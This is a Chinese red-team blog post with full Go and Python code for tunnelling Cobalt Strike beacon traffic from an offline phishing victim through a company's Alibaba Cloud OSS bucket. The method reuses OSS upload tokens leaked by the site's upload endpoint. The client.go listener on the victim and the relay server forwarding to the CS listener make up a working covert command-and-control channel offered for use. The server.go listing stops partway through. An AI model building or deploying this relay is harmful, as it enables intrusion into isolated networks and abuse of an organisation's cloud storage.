本地实现阿里云oss转发上线，全部代码在文末，代码存在冗余
实战环境
被钓鱼机器不出网只可访问内部网络包含集团oss
实战思路
若将我们的shellcode文件上传到集团oss上仍无法上线，那么就利用oss做中转使用本地转发进行上线，先发送一个本地监听木马到钓鱼机器，再发送一个client，也就是agent到钓鱼机器，当然可以将两个写成一块发送给钓鱼受害者，server端从oss读取到数据转发至cs监听端口
具体逻辑
1.根据网站oss的上传接口，获得上传成功的返回包（通常包含泄露的oss的token，上传成功的路径及其文件名）
2.我们将返回包的json全部复制到本地为新的json文件，命名为server.json和client.json
3.server端实现上传该json文件到目标oss存储桶
4.client端下载该json文件到钓鱼机器
5.client端通过读取下载的json文件获得相应上传路径，token，进行组合实现上传本地木马127.0.0.1:17777监听的请求数据到oss文件
6.server端下载读取oss文件的数据转发到cs木马x.x.x.x:17777监听端口
7.server端上传cs返回的数据到oss文件
8.client端下载读取oss文件内容到本地木马监听端口实现木马闭环
server和client都是持续开着的并且循环进行上传下载读取功能
本地为方便演示我们使用服务器下载json文件，提取json文件中的关键信息，进行上传
首先准备好阿里云oss的SDK
https://help.aliyun.com/zh/oss/developer-reference/go-installation?spm=
那么通过实际情况，一般上传接口是有oss的token
生成policy和signature
import os
from hashlib import sha1 as sha
import json
import base64
import hmac
import datetime
import time
# 配置环境变量OSS_ACCESS_KEY_ID。
access_key_id = 'xxxxxxx'
# 配置环境变量OSS_ACCESS_KEY_SECRET。
access_key_secret = 'xxxxxxxxxxxx'
# 将<YOUR_BUCKET>替换为Bucket名称。
bucket = 'xxxx'
# host的格式为bucketname.endpoint。将<YOUR_BUCKET>替换为Bucket名称。将<YOUR_ENDPOINT>替换为OSS Endpoint，例如oss-cn-hangzhou.aliyuncs.com。
host = 'https://xxxx.oss-cn-shanghai.aliyuncs.com'
# 指定上传到OSS的文件前缀。
upload_dir = '1029/ff.txt'
# 指定过期时间，单位为秒。
expire_time = 14400
def generate_expiration(seconds):
"""
通过指定有效的时长（秒）生成过期时间。
:param seconds: 有效时长（秒）。
:return: ISO8601 时间字符串，如："2014-12-01T12:00:00.000Z"。
"""
now = int(time.time())
expiration_time = now + seconds
gmt = datetime.datetime.utcfromtimestamp(expiration_time).isoformat()
gmt += 'Z'
return gmt
def generate_signature(access_key_secret, expiration, conditions, policy_extra_props=None):
"""
生成签名字符串Signature。
:param access_key_secret: 有权限访问目标Bucket的AccessKeySecret。
:param expiration: 签名过期时间，按照ISO8601标准表示，并需要使用UTC时间，格式为yyyy-MM-ddTHH:mm:ssZ。示例值："2014-12-01T12:00:00.000Z"。
:param conditions: 策略条件，用于限制上传表单时允许设置的值。
:param policy_extra_props: 额外的policy参数，后续如果policy新增参数支持，可以在通过dict传入额外的参数。
:return: signature，签名字符串。
"""
policy_dict = {
'expiration': expiration,
'conditions': conditions
}
if policy_extra_props is not None:
policy_dict.update(policy_extra_props)
policy = json.dumps(policy_dict).strip()
policy_encode = base64.b64encode(policy.encode())
h = hmac.new(access_key_secret.encode(), policy_encode, sha)
sign_result = base64.b64encode(h.digest()).strip()
return sign_result.decode()
def generate_upload_params():
policy = {
# 有效期。
"expiration": generate_expiration(expire_time),
# 约束条件。
"conditions": [
# 未指定success_action_redirect时，上传成功后的返回状态码，默认为 204。
["eq", "$success_action_status", "200"],
# 表单域的值必须以指定前缀开始。例如指定key的值以user/user1开始，则可以写为["starts-with", "$key", "user/user1"]。
["starts-with", "$key", upload_dir],
# 限制上传Object的最小和最大允许大小，单位为字节。
["content-length-range", 1, 1000000],
# 限制上传的文件为指定的图片类型
["in", "$content-type", ["image/jpg", "image/png","text/plain","application/octet-stream"]]
]
}
signature = generate_signature(access_key_secret, policy.get('expiration'), policy.get('conditions'))
response = {
'policy': base64.b64encode(json.dumps(policy).encode('utf-8')).decode(),
'ossAccessKeyId': access_key_id,
'signature': signature,
'host': host,
'dir': upload_dir
# 可以在这里再自行追加其他参数
}
print(json.dumps(response))
return json.dumps(response)
if __name__ == '__main__':
generate_upload_params();
这样就可以使用policy和signature
这里key不能只写1029/这样的路径，后面要加文件名才能成功上传
1029/ff.txt这种，我们先手动上传试试
可以看到上传成功，然后使用go写的客户端试试上传
客户端成功上传文件到oss，并且我们的上传是循环的，
上传的内容为
从oss下载之后，可以看到文件名字是policy.txt，这是从阿里云oss下载的文件名字（也就是Content-Disposition），但存储桶上是ff.txt的名字（也就是key）
目前客户端上传功能成功，然后写客户端下载功能，服务端的代码和客户端一样除了客户端要监听127.0.0.1:17777，服务器要发送到cs的ip:17777，这样就可以了，
当完成客户端上传下载，服务端下载功能时候收到请求上线如下
可以看到请求转发过来了（此时只是先客户端上传监听到的数据到oss，然后服务端下载到本地转发到cs服务器），那么我们需要完成服务端上传的功能，以至于cs的返回包上传到oss上，供客户端读取
可以看到server端的上传包（也就是上传的cs返回的包）
此时的问题是client和server的上传文件有冲突问题，client上传太快了，server会oss检测当前文件的内容和之前的内容是否一致，client传的太快会让server认为和上一个内容一样，所以就不上传返回包请求了，
可以看到ipconfig也可以
但是这个有个bug，就是运行client运行中间卡住了
最终方案，client端上传之后等待60秒，server端上传之后等待30秒，
最终代码：
client.go
package main
import (
"bytes"
"fmt"
"log"
"os"
"path/filepath"
"net"
"net/http"
"io"
"io/ioutil"
"encoding/json"
"mime/multipart"
"strings"
"net/url"
"time"
"strconv"
"encoding/base64"
"sync"
"github.com/google/uuid"
)
var ClientUploadData *UploadData
var previousContent string
// 定义结构体：File 结构体
type UploadData struct {
Key string `json:"key"`
SuccessActionStatus string `json:"success_action_status"`
ContentDisposition string `json:"Content-Disposition"`
XOssMetaUUID string `json:"x-oss-meta-uuid"`
XOssMetaTag string `json:"x-oss-meta-tag"`
OSSAccessKeyID string `json:"OSSAccessKeyId"`
Policy string `json:"policy"`
Signature string `json:"Signature"`
ActionURL string `json:"action"`
FileName string `json:"file.filename"`
FileContentType string `json:"file.content_type"`
FileContent string `json:"file.content"`
}
type UploadTokenResponse struct {
Success interface{} `json:"success"`
UploadData UploadData `json:"uploadData"`
Error interface{} `json:"error"`
}
func startClient(bind_address string) {
log.Println("[+]", "客户端启动成功")
server, err := net.Listen("tcp", bind_address)
if err != nil {
log.Fatalln("[x]", "listen address ["+bind_address+"] failed.")
}
for {
conn, err := server.Accept()
if err != nil {
log.Println("Accept() failed, err: ", err)
continue
}
log.Println("[+]", "有客户进入：", conn.RemoteAddr())
go process(conn)
}
}
func Get(filename string) []byte {
programDir, err := getProgramDirectory()
if err != nil {
log.Println("获取程序目录失败：", err)
return nil
}
configFilePath := filepath.Join(programDir, filename)
log.Println("程序目录：", programDir)
log.Println("文件路径：", configFilePath)
jsondate, err := readUploadTokenFromFile(configFilePath)
if err != nil {
log.Println("读取或解析JSON文件失败：", err)
return nil
}
fileURL := jsondate.ActionURL + "/" + jsondate.Key
log.Println("Get.fileURL：", fileURL)
fmt.Println(fileURL)
resp, err := http.Get(fileURL)
if err != nil {
log.Println("读取文件内容失败：", err)
return nil
}
defer resp.Body.Close()
content, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Println("读取响应体失败：", err)
return nil
}
log.Println("客户端下载读到的内容：", content)
decodedContent, err := base64.StdEncoding.DecodeString(string(content))
if err != nil {
log.Println("Base64解码失败：", err)
return nil
}
// 输出字符串内容
log.Println("客户端下载读到的内容base64：", string(decodedContent))
return content
}
func renameFile(oldPath, newPath string) error {
err := os.Rename(oldPath, newPath)
if err != nil {
return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)
}
log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)
return nil
}
func saveToFile(filename, content string) {
err := os.WriteFile(filename, []byte(content), 0644)
if err != nil {
log.Println("[x]", "保存文件失败:", err)
}
}
func getProgramDir() string {
dir, err := os.Getwd()
if err != nil {
log.Println("[x]", "获取程序运行目录失败:", err)
return "./"
}
return dir + "/"
}
func FileExists(filePath string) bool {
_, err := os.Stat(filePath)
return err == nil
}
func processContentAndSave(currentContent string) {
var fileName string
if strings.Contains(currentContent, "client") {
fileName = getProgramDir() + "Send-Client11.json"
log.Println("[+]", "判断是否存在 client 文件")
} else if strings.Contains(currentContent, "server") {
fileName = getProgramDir() + "Send-Server11.json"
log.Println("[+]", "判断是否存在 server 文件")
} else {
log.Println("[-]", "内容既不包含 client 也不包含 server，跳过处理")
return
}
log.Println("[+]", "文件名:", fileName)
if _, err := os.Stat(fileName); os.IsNotExist(err) {
saveToFile(fileName, string(currentContent))
log.Println("[+]", "文件不存在，已保存为:", fileName)
} else if err == nil {
log.Println("[+]", "文件已存在，跳过保存:", fileName)
} else {
log.Println("[-]", "检查文件时发生错误:", err)
}
}
func Getfile(filename string) (string, error) {
defer func() {
if r := recover(); r != nil {
log.Printf("捕获异常：%v", r)
}
}()
programDir, err := getProgramDirectory()
if err != nil {
return "", fmt.Errorf("failed to get program directory: %v", err)
}
configFilePath := filepath.Join(programDir, filename)
jsondate, err := readUploadTokenFromFile(configFilePath)
if err != nil {
log.Println("读取或解析JSON文件失败：", err)
return "", err
}
fileURL := jsondate.ActionURL + "/" + jsondate.Key
log.Println("Getfile.fileURL:",fileURL)
resp, err := http.Get(fileURL)
if err != nil {
log.Println("读取文件内容失败：", err)
return "", err
}
defer resp.Body.Close()
return fileURL, nil
}
func fetchFileContent(url string) (string, error) {
resp, err := http.Get(url)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
return string(body), nil
}
/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
for key, value := range UploadData.Data {
writer.WriteField(key, value)
}
fileReader := strings.NewReader(fileContent)
part, err := writer.CreateFormFile(UploadData.Name, filename)
if err != nil {
return "", err
}
_, err = io.Copy(part, fileReader)
if err != nil {
return "", err
}
writer.Close()
req, err := http.NewRequest("POST", UploadData.ActionURL, body)
if err != nil {
return "", err
}
req.Header.Set("Content-Type", writer.FormDataContentType())
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
location := resp.Header.Get("Location")
if location == "" {
fmt.Println("No location URL found in response headers.")
}
return location, nil
}*/
func logRequest(req *http.Request) {
log.Println("Request Method:", req.Method)
log.Println("Request URL:", req.URL.String())
log.Println("Request Headers:")
for key, values := range req.Header {
for _, value := range values {
log.Printf(" %s: %s\n", key, value)
}
}
// 打印请求体内容
bodyBytes, err := io.ReadAll(req.Body)
if err != nil {
log.Println("Error reading request body:", err)
return
}
req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体
log.Println("Request Body:", string(bodyBytes))
}
func uploadFile(data UploadData, filename string, fileContent string) (string, error) {
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
// Write fields directly from UploadData struct
writer.WriteField("key", data.Key)
writer.WriteField("success_action_status", data.SuccessActionStatus)
writer.WriteField("Content-Disposition", data.ContentDisposition)
writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)
writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)
writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)
writer.WriteField("policy", data.Policy)
writer.WriteField("Signature", data.Signature)
// Create form file part for file content
fileReader := strings.NewReader(fileContent)
part, err := writer.CreateFormFile("file", filename)
if err != nil {
return "", err
}
_, err = io.Copy(part, fileReader)
if err != nil {
return "", err
}
writer.Close()
// Create and send request
req, err := http.NewRequest("POST", data.ActionURL, body)
//req, err := http.NewRequest("POST", "https://xxxx.oss-cn-shanghai.aliyuncs.com", body)
if err != nil {
return "", err
}
req.Header.Set("Content-Type", writer.FormDataContentType())
logRequest(req)
//client := &http.Client{}
proxyURL, _ := url.Parse("http://127.0.0.1:8083")
if err != nil {
return "", fmt.Errorf("invalid proxy URL: %v", err)
}
client := &http.Client{
Transport: &http.Transport{
Proxy: http.ProxyURL(proxyURL),
},
}
resp, err := client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
location := resp.Header.Get("Location")
if location == "" {
fmt.Println("No location URL found in response headers.")
}
return location, nil
}
func findErrorLine(data []byte, offset int64) (line int, col int) {
line = 1
col = 1
for i := int64(0); i < offset; i++ {
if data[i] == '\n' {
line++
col = 1
} else {
col++
}
}
return
}
/*func parseUploadToken(jsonData []byte) (UploadData, error) {
var tokenResponse UploadTokenResponse
err := json.Unmarshal(jsonData, &tokenResponse)
if err != nil {
return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
}
// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string，直接返回
return tokenResponse.UploadData, nil
}*/
func parseUploadToken(jsonData []byte) (UploadData, error) {
// var tokenResponse UploadTokenResponse
var uploadData UploadData
err := json.Unmarshal(jsonData, &uploadData)
if err != nil {
return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
}
// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string，直接返回
log.Println("parseUploadToken.UploadData",uploadData)
return uploadData, nil
}
func getProgramDirectory() (string, error) {
execPath, err := os.Executable()
if err != nil {
return "", err
}
return filepath.Dir(execPath), nil
}
func readUploadTokenFromFile(filename string) (UploadData, error) {
programDir, err := getProgramDirectory()
if err != nil {
return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)
}
filename = filepath.Base(filename)
configFilePath := filepath.Join(programDir, filename)
data, err := ioutil.ReadFile(configFilePath)
if err != nil {
return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)
}
uploadData, err := parseUploadToken(data)
if err != nil {
return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)
}
return uploadData, nil
}
func Send(name string, filename string, content string) {
UploadData, err := readUploadTokenFromFile(name)
if err != nil {
fmt.Println("Error reading or parsing JSON from file:", err)
return
}
_, err = uploadFile(UploadData, filename, content)
if err != nil {
log.Println("文件上传失败：", err)
return
}
}
var fileLock sync.Mutex // 定义一个文件锁
func process(conn net.Conn) {
defer func() {
if r := recover(); r != nil {
log.Printf("捕获异常：%v", r)
}
}()
uuid := uuid.New()
key := uuid.String()
defer conn.Close()
var buffer bytes.Buffer
_ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
for {
var buf [1]byte
n, err := conn.Read(buf[:])
if err != nil {
log.Println("[-]", uuid, "read from connect failed, err：", err)
break
}
buffer.Write(buf[:n])
if strings.Contains(buffer.String(), "\r\n\r\n") {
if strings.Contains(buffer.String(), "Content-Length") {
ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]
log.Println("[+]", uuid, "数据包长度为：", strings.TrimSpace(ContentLength))
if strings.TrimSpace(ContentLength) != "0" {
intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))
if err != nil {
log.Println("[-]", uuid, "Content-Length转换失败")
}
for i := 1; i <= intContentLength; i++ {
var b [1]byte
n, err = conn.Read(b[:])
if err != nil {
log.Println("[-]", uuid, "read from connect failed, err", err)
break
}
buffer.Write(b[:n])
}
}
}
if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {
for {
var b [1]byte
n, err = conn.Read(b[:])
if err != nil {
log.Println("[-]", uuid, "read from connect failed, err", err)
break
}
buffer.Write(b[:n])
if strings.Contains(buffer.String(), "0\r\n\r\n") {
break
}
}
}
log.Println("[+]", uuid, "从客户端接受HTTP头完毕")
break
}
}
b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())
Send("Send-Client.json", key+"client.zip", b64)
log.Println("[+]发送成功")
log.Println("文件上传完成，暂停60秒...")
time.Sleep(60 * time.Second) // Pause for 60 seconds
i := 1
for {
i++
time.Sleep(1 * time.Second)
if i >= 10 {
log.Println("[x]", "超时，断开")
return
}
clientURL, err := Getfile("Send-Server.json")
if err != nil {
log.Println("[-]", "获取服务器文件失败：", err)
return
}
log.Println("[-]", "process.clientURL:", clientURL)
currentContent, err := fetchFileContent(clientURL)
if err != nil {
log.Println("[-]", "获取客户端文件失败:", err)
return
}
if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {
/*if strings.HasPrefix(currentContent, `{"success`) {
processContentAndSave(currentContent)
if FileExists(getProgramDir()+"Send-Server11.json") && FileExists(getProgramDir()+"Send-Client11.json") {
clientNewPath := getProgramDir() + "Send-Client.json"
os.Remove(clientNewPath)
err = renameFile(getProgramDir()+"Send-Client11.json", clientNewPath)
if err != nil {
log.Fatalf("重命名 server 文件时发生错误: %v", err)
}
os.Remove(getProgramDir() + "Send-Client11.json")
time.Sleep(5 * time.Second)
serverNewPath := getProgramDir() + "Send-Server.json"
os.Remove(serverNewPath)
err = renameFile(getProgramDir()+"Send-Server11.json", serverNewPath)
if err != nil {
log.Fatalf("重命名 server 文件时发生错误: %v", err)
}
os.Remove(getProgramDir() + "Send-Server11.json")
}
}*/
log.Println("[+]", "文件内容不一致，开始处理")
previousContent = currentContent
buff := Get("Send-Server.json")
if buff != nil {
log.Println("[x]", uuid, "收到服务器消息")
time.Sleep(1 * time.Second)
sDec, err := base64.StdEncoding.DecodeString(string(buff))
if err != nil {
log.Println("[x]", uuid, "Base64解码错误")
return
}
conn.Write(sDec)
break
}
} else {
log.Println("[+]", "文件内容一致，无需处理")
previousContent = currentContent
buff := Get("Send-Server.json")
if buff != nil {
log.Println("[x]", uuid, "收到服务器消息")
time.Sleep(1 * time.Second)
sDec, err := base64.StdEncoding.DecodeString(string(buff))
if err != nil {
log.Println("[x]", uuid, "Base64解码错误")
return
}
conn.Write(sDec)
break
return
}
}
}
log.Println("[+]", "发送完成")
}
func checkURLStatus(url string) bool {
resp, err := http.Head(url)
if err != nil {
fmt.Printf("检查 URL 失败: %v\n", err)
return false
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusOK {
return true
}
fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)
return false
}
func waitForNextHalfHour() {
now := time.Now()
next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)
duration := next.Sub(now)
fmt.Printf("等待 %v 到下一个下载时间...\n", duration)
time.Sleep(duration)
}
func downloadFile(filepath string, url string) error {
resp, err := http.Get(url)
if err != nil {
return err
}
defer resp.Body.Close()
out, err := os.Create(filepath)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, resp.Body)
return err
}
func safeDownloadFile(filepath string, url string) error {
tempFilepath := filepath + ".tmp"
err := downloadFile(tempFilepath, url)
if err != nil {
return fmt.Errorf("下载失败: %w", err)
}
err = os.Rename(tempFilepath, filepath)
if err != nil {
return fmt.Errorf("替换文件失败: %w", err)
}
return nil
}
func timedownload() {
execPath, err := os.Executable()
if err != nil {
fmt.Printf("获取程序路径失败: %v\n", err)
return
}
execDir := filepath.Dir(execPath)
filepath1 := filepath.Join(execDir, "Send-Client.json")
filepath2 := filepath.Join(execDir, "Send-Server.json")
url1 := "http://xxxxx:xx/Send-Client.json"
url2 := "http://xxxxx:xx/Send-Server.json"
fmt.Printf("检查文件1：%s\n", url1)
if checkURLStatus(url1) {
err = safeDownloadFile(filepath1, url1)
if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用，跳过下载：", url1)
}
fmt.Printf("检查文件2：%s\n", url2)
if checkURLStatus(url2) {
err = safeDownloadFile(filepath2, url2)
if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用，跳过下载：", url2)
}
for {
waitForNextHalfHour()
fmt.Printf("检查文件1：%s\n", url1)
if checkURLStatus(url1) {
err = safeDownloadFile(filepath1, url1)
if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用，跳过下载：", url1)
}
fmt.Printf("检查文件2：%s\n", url2)
if checkURLStatus(url2) {
err = safeDownloadFile(filepath2, url2)
if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用，跳过下载：", url2)
}
}
}
func main() {
go timedownload()
bind_address := "127.0.0.1:17777"
startClient(bind_address)
}
server.go
package main
import (
"bytes"
"fmt"
"log"
"os"
"path/filepath"
"net"
"net/http"
"io"
"io/ioutil"
"encoding/json"
"mime/multipart"
"strings"
"net/url"
"time"
"strconv"
"encoding/base64"
"sync"
)
var ClientUploadData *UploadData
var previousContent string // 存储上一次文件内容
// 定义结构体：File 结构体
type UploadData struct {
Key string `json:"key"`
SuccessActionStatus string `json:"success_action_status"`
ContentDisposition string `json:"Content-Disposition"`
XOssMetaUUID string `json:"x-oss-meta-uuid"`
XOssMetaTag string `json:"x-oss-meta-tag"`
OSSAccessKeyID string `json:"OSSAccessKeyId"`
Policy string `json:"policy"`
Signature string `json:"Signature"`
ActionURL string `json:"action"`
FileName string `json:"file.filename"`
FileContentType string `json:"file.content_type"`
FileContent string `json:"file.content"`
}
type UploadTokenResponse struct {
Success interface{} `json:"success"`
UploadData UploadData `json:"uploadData"`
Error interface{} `json:"error"`
}
func Get(filename string) []byte {
programDir, err := getProgramDirectory()
if err != nil {
log.Println("获取程序目录失败：", err)
return nil
}
configFilePath := filepath.Join(programDir, filename)
log.Println("程序目录：", programDir)
log.Println("文件路径：", configFilePath)
jsondate, err := readUploadTokenFromFile(configFilePath)
log.Println("jsondate:",jsondate)
if err != nil {
log.Println("读取或解析JSON文件失败：", err)
return nil
}
fileURL := jsondate.ActionURL + "/" + jsondate.Key
fmt.Println(fileURL)
resp, err := http.Get(fileURL)
if err != nil {
log.Println("读取文件内容失败：", err)
return nil
}
defer resp.Body.Close()
content, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Println("读取响应体失败：", err)
return nil
}
log.Println("内容：", content)
return content
}
func renameFile(oldPath, newPath string) error {
err := os.Rename(oldPath, newPath)
if err != nil {
return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)
}
log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)
return nil
}
func saveToFile(filename, content string) {
err := os.WriteFile(filename, []byte(content), 0644)
if err != nil {
log.Println("[x]", "保存文件失败:", err)
}
}
func getProgramDir() string {
dir, err := os.Getwd()
if err != nil {
log.Println("[x]", "获取程序运行目录失败:", err)
return "./"
}
return dir + "/"
}
func FileExists(filePath string) bool {
_, err := os.Stat(filePath)
return err == nil
}
func processContentAndSave(currentContent string) {
var fileName string
if strings.Contains(currentContent, "client") {
fileName = getProgramDir() + "Send-Client11.json"
log.Println("[+]", "判断是否存在 client 文件")
} else if strings.Contains(currentContent, "server") {
fileName = getProgramDir() + "Send-Server11.json"
log.Println("[+]", "判断是否存在 server 文件")
} else {
log.Println("[-]", "内容既不包含 client 也不包含 server，跳过处理")
return
}
log.Println("[+]", "文件名:", fileName)
if _, err := os.Stat(fileName); os.IsNotExist(err) {
saveToFile(fileName, string(currentContent))
log.Println("[+]", "文件不存在，已保存为:", fileName)
} else if err == nil {
log.Println("[+]", "文件已存在，跳过保存:", fileName)
} else {
log.Println("[-]", "检查文件时发生错误:", err)
}
}
func Getfile(filename string) (string, error) {
defer func() {
if r := recover(); r != nil {
log.Printf("捕获异常：%v", r)
}
}()
programDir, err := getProgramDirectory()
log.Println("programDir：", programDir)
if err != nil {
return "", fmt.Errorf("failed to get program directory: %v", err)
}
configFilePath := filepath.Join(programDir, filename)
log.Println("configFilePath：", configFilePath)
jsondate, err := readUploadTokenFromFile(configFilePath)
if err != nil {
log.Println("读取或解析JSON文件失败：", err)
return "", err
}
fileURL := jsondate.ActionURL + "/" + jsondate.Key
log.Println("fileURL：", fileURL)
resp, err := http.Get(fileURL)
if err != nil {
log.Println("读取文件内容失败：", err)
return "", err
}
defer resp.Body.Close()
return fileURL, nil
}
func fetchFileContent(url string) (string, error) {
resp, err := http.Get(url)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
log.Println(string(body))
return string(body), nil
}
/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
for key, value := range UploadData.Data {
writer.WriteField(key, value)
}
fileReader := strings.NewReader(fileContent)
part, err := writer.CreateFormFile(UploadData.Name, filename)
if err != nil {
return "", err
}
_, err = io.Copy(part, fileReader)
if err != nil {
return "", err
}
writer.Close()
req, err := http.NewRequest("POST", UploadData.ActionURL, body)
if err != nil {
return "", err
}
req.Header.Set("Content-Type", writer.FormDataContentType())
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
location := resp.Header.Get("Location")
if location == "" {
fmt.Println("No location URL found in response headers.")
}
return location, nil
}*/
func logRequest(req *http.Request) {
log.Println("Request Method:", req.Method)
log.Println("Request URL:", req.URL.String())
log.Println("Request Headers:")
for key, values := range req.Header {
for _, value := range values {
log.Printf(" %s: %s\n", key, value)
}
}
// 打印请求体内容
bodyBytes, err := io.ReadAll(req.Body)
if err != nil {
log.Println("Error reading request body:", err)
return
}
req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体
log.Println("Request Body:", string(bodyBytes))
}
func uploadFile(data UploadData, filename string, fileContent string) (string, error) {
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
// Write fields directly from UploadData struct
writer.WriteField("key", data.Key)
writer.WriteField("success_action_status", data.SuccessActionStatus)
writer.WriteField("Content-Disposition", data.ContentDisposition)
writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)
writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)
writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)
writer.WriteField("policy", data.Policy)
writer.WriteField("Signature", data.Signature)
// Create form file part for file content
fileReader := strings.NewReader(fileContent)
part, err := writer.CreateFormFile("file", filename)
if err != nil {
return "", err
}
_, err = io.Copy(part, fileReader)
if err != nil {
return "", err
}
writer.Close()
// Create and send request
req, err := http.NewRequest("POST", data.ActionURL, body)
//req, err := http.NewRequest("POST", "https://xxx.oss-cn-shanghai.aliyuncs.com", body)
if err != nil {
return "", err
}
req.Header.Set("Content-Type", writer.FormDataContentType())
logRequest(req)
//client := &http.Client{}
proxyURL, _ := url.Parse("http://127.0.0.1:8083")
if err != nil {
return "", fmt.Errorf("invalid proxy URL: %v", err)
}
client := &http.Client{
Transport: &http.Transport{
Proxy: http.ProxyURL(proxyURL),
},
}
resp, err := client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
location := resp.Header.Get("Location")
if location == "" {
fmt.Println("No location URL found in response headers.")
}
return location, nil
}
func findErrorLine(data []byte, offset int64) (line int, col int) {
line = 1
col = 1
for i := int64(0); i < offset; i++ {
if data[i] == '\n' {
line++
col = 1
} else {
col++
}
}
return
}
func parseUploadToken(jsonData []byte) (UploadData, error) {
// var tokenResponse UploadTokenResponse
var uploadData UploadData
err := json.Unmarshal(jsonData, &uploadData)
if err != nil {
return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
}
// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string，直接返回
log.Println("parseUploadToken.UploadData",uploadData)
return uploadData, nil
}
func getProgramDirectory() (string, error) {
execPath, err := os.Executable()
if err != nil {
return "", err
}
return filepath.Dir(execPath), nil
}
func readUploadTokenFromFile(filename string) (UploadData, error) {
programDir, err := getProgramDirectory()
if err != nil {
return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)
}
filename = filepath.Base(filename)
log.Println("filename=>",filename)
configFilePath := filepath.Join(programDir, filename)
log.Println("readUploadTokenFromFile,configFilePath=>",configFilePath)
data, err := ioutil.ReadFile(configFilePath)
if err != nil {
return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)
}
uploadData, err := parseUploadToken(data)
if err != nil {
return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)
}
return uploadData, nil
}
func Send(name string, filename string, content string) {
UploadData, err := readUploadTokenFromFile(name)
if err != nil {
fmt.Println("Error reading or parsing JSON from file:", err)
return
}
_, err = uploadFile(UploadData, filename, content)
if err != nil {
log.Println("文件上传失败：", err)
return
}
}
func checkURLStatus(url string) bool {
resp, err := http.Head(url)
if err != nil {
fmt.Printf("检查 URL 失败: %v\n", err)
return false
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusOK {
return true
}
fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)
return false
}
func waitForNextHalfHour() {
now := time.Now()
next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)
duration := next.Sub(now)
fmt.Printf("等待 %v 到下一个下载时间...\n", duration)
time.Sleep(duration)
}
func downloadFile(filepath string, url string) error {
resp, err := http.Get(url)
if err != nil {
return err
}
defer resp.Body.Close()
out, err := os.Create(filepath)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, resp.Body)
return err
}
func safeDownloadFile(filepath string, url string) error {
tempFilepath := filepath + ".tmp"
err := downloadFile(tempFilepath, url)
if err != nil {
return fmt.Errorf("下载失败: %w", err)
}
err = os.Rename(tempFilepath, filepath)
if err != nil {
return fmt.Errorf("替换文件失败: %w", err)
}
return nil
}
func timedownload() {
execPath, err := os.Executable()
if err != nil {
fmt.Printf("获取程序路径失败: %v\n", err)
return
}
execDir := filepath.Dir(execPath)
filepath1 := filepath.Join(execDir, "Send-Client.json")
filepath2 := filepath.Join(execDir, "Send-Server.json")
url1 := "http://x.x.x.x:x/Send-Client.json"
url2 := "http://x.x.x.x:x/Send-Server.json"
fmt.Printf("检查文件1：%s\n", url1)
if checkURLStatus(url1) {
err = safeDownloadFile(filepath1, url1)
if err != nil {
